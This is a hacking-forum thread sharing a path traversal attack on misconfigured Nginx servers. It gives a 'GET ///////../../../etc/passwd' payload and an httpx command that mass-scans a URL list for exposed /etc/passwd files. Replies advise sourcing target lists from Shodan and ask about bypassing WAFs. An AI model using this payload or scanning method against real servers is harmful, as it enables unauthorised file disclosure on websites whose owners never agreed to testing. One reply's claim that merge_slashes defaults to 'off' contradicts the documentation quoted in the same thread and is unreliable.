• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Nginx Merge slashes Path traversal

0x0021h

RAID-массив
Пользователь
Регистрация
14.11.2021
Сообщения
53
Решения
1
Реакции
78
Payload : GET ///////../../../etc/passwd

1641614546726.png
 
A vulnerability in the remote Nginx server could cause the server to merge /slash slash/ together causing what should have protected the website from a directory traversal vulnerability into a vulnerable server.

http://NGINX.org/en/docs/http/ngx_http_core_module.html#merge_slashes
Enables or disables compression of two or more adjacent slashes in a URI into a single slash.



Код:
Syntax: merge_slashes on | off;
Default: merge_slashes on;
Context: http, server

When the merge_slashes configuration is turned on, using multiple slashes ‘///’ did not allow us to exploit that vulnerability successfully.
any requirements for this vulnerability to work ?
 
httpx -l url.txt -path "///////../../../../../../etc/passwd" -status-code -mc 200 -ms 'root:'

1641641878680.png
 
A vulnerability in the remote Nginx server could cause the server to merge /slash slash/ together causing what should have protected the website from a directory traversal vulnerability into a vulnerable server.

http://NGINX.org/en/docs/http/ngx_http_core_module.html#merge_slashes
Enables or disables compression of two or more adjacent slashes in a URI into a single slash.



Код:
Syntax: merge_slashes on | off;
Default: merge_slashes on;
Context: http, server

When the merge_slashes configuration is turned on, using multiple slashes ‘///’ did not allow us to exploit that vulnerability successfully.
WAF maybe any bypass method ? and one more thing that url.txt, where you guys get websites url ? like from shodan or any other source ? or just random ?
 
WAF maybe any bypass method ? and one more thing that url.txt, where you guys get websites url ? like from shodan or any other source ? or just random ?
get it from shodan or other cyberspace tools.
 
It should work on all the nginx versions up to the latest builds as this is a misconfiguration issue.
However, by default, the value is set to 'off' so will work only on specific cases.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх